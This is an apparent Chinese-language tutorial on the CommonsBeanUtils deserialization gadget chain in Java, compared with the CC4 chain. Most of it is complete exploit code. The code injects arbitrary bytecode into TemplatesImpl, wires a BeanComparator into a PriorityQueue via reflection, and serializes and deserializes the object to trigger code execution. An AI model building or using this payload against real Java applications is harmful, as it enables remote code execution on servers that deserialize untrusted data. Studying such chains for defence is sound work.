这个链可以说相当简单为什么这么说呢?因为他基本上和cc4特别相似不同的地方也就是中间4步的链不一样,
主要newTransformer调用不同,先学习一个新知识动态设置或获取JavaBean的属性值,
这里非常好玩的点在CommonsBeanUtils中可以执行任意的getter setter方法下面我们看一下案例(代码一和图一),
知道这个玩法之后,在之前cc4中newTransformer是TrAXFilter构造方法中调用了,这里就从newTransformer开始找,在
TemplatesImpl.getOutputProperties中调用了newTransformer(图二),模拟构造一下exp(代码二),可以看到就多了一行代码上面的cc4的代码,
链子就结束了吗?不并没有,首先我们的目的是执行到readObject,并且他并没有实现Serializable,巧合的是在commons-beanutils包中BeanComparator.compare方法中达到了我们的想法(图三),
接着再次构造一下exp(代码三),上面我们说过我们的目的是执行到readObject方法中,接着找compare,compare?这不就是cc4中的前半部链吗?没错CB链确实用到了cc4的前半部,简单吧ojbk直接结束。
//执行setter方法 会执行任意的setter方法无敌
//,setAdmin(),第二个参数必须是admin第一个字符是小写,并且setAdmin也不能是setADmin(第二个字符不能是大写)。
User user = new User();
PropertyUtils.setProperty(user,"admin","aaaaaaaaa");
//执行getter方法,会执行任意的getter方法无敌,,第二个参数必须是admin第一个字符是小写,
//并且setAdmin也不能是setADmin(第二个字符不能是大写)。
System.out.println(PropertyUtils.getProperty(user,"aDmin"));
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\phpStudy\\test.class"));
bytecodes.set(templates,new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// Object outputProperties = PropertyUtils.getProperty(templates, "outputProperties");
BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
Class<BeanComparator> beanComparatorClass = BeanComparator.class;
Field property = beanComparatorClass.getDeclaredField("property");
property.setAccessible(true);
property.set(objectBeanComparator,"outputProperties");
objectBeanComparator.compare(templates,123456);
package com.example.cb;
import com.example.cb.demos.web.User;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
@SpringBootApplication
public class CbApplication {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\phpStudy\\test.class"));
bytecodes.set(templates,new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// Object outputProperties = PropertyUtils.getProperty(templates, "outputProperties");
BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
Class<BeanComparator> beanComparatorClass = BeanComparator.class;
Field property = beanComparatorClass.getDeclaredField("property");
property.setAccessible(true);
property.set(objectBeanComparator,"outputProperties");
PriorityQueue priorityQueue = new PriorityQueue<>();
Class aClass = priorityQueue.getClass();
Field comparator = aClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,objectBeanComparator);
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
Field queue = aClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
serialize(priorityQueue);
unserialize("ser.bin");
// 执行setter方法 会执行任意的settter方法无敌,setAdmin(),第二个参数必须是admin第一个字符是小写,并且setAdmin也不能是setADmin(第二个字符不能是大写)。
// User user = new User();
// PropertyUtils.setProperty(user,"admin","aaaaaaaaa");
//
// 执行getter方法,会执行任意的getter方法无敌,,第二个参数必须是admin第一个字符是小写,并且setAdmin也不能是setADmin(第二个字符不能是大写)。
// System.out.println(PropertyUtils.getProperty(user,"aDmin"));
}
public static void serialize(Object obj) throws Exception {
//序列化
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
//反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
Object o = ois.readObject();
return o;
}
}